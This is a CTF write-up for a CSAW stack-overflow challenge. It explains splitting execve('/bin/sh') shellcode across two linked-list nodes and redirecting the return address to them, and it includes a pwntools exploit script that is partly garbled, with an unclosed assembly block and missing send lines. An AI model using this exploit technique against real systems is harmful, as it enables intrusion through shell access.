• Category: pwn
  • Points: 100
  • Description:

Linked lists are great! They let you chain pieces of data together.

nc pwn.chal.csaw.io 9005



For this challenge, we got an x86_64 linux binary (not stripped, NX is disabled) that asks us for 15 bytes of input for each of two nodes of a linked list.

The linked list struct looks like this:

struct linked_list {
    struct linked_list * next;
    char data[15];

Both node instances lie on the stack, and the “next” pointer of the first points to the second.

Afterwards, it prints out the first node, revealing the stack address of the second node.

Then, the “goodbye” function asks for our initials and reads data in a far too small stack buffer (buffer overflow).

The Attack

We can redirect program execution to the heap buffer in the second node by overwriting the return pointer in the “goodbye” function.

We cannot directly insert off-the-shelf shellcode into the buffers because they are too small, so we chopped pwntools’ shellcraft.sh() shellcode in half and added a relative jump to redirect into the other node.

This gets us a shell allowing us to see the flag:


The Script

This is the cleaned up script used to extract the flag:

from pwn import *

context.arch = "amd64"

r = remote("pwn.chal.csaw.io", 9005)

node2 = asm("""
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
""") + b"\xeb\x11"

node1 = asm("""
    /* call execve('rsp', 0, 0) */
    push (SYS_execve) /* 0x3b */
    pop rax
    mov rdi, rsp
    xor esi, esi /* 0 */
    cdq /* rdx=0 */

r.readuntil(b"1: ")
print(">> node1")
r.readuntil(b"2: ")
print(">> node2")

r.readuntil(b": ")
addr = int(r.readline()[:-1], 16)
print(">> addr", hex(addr))

print(">> rop")
r.sendline(b"A"*11 + p64(addr+8))

r.sendline(b"cat flag.txt")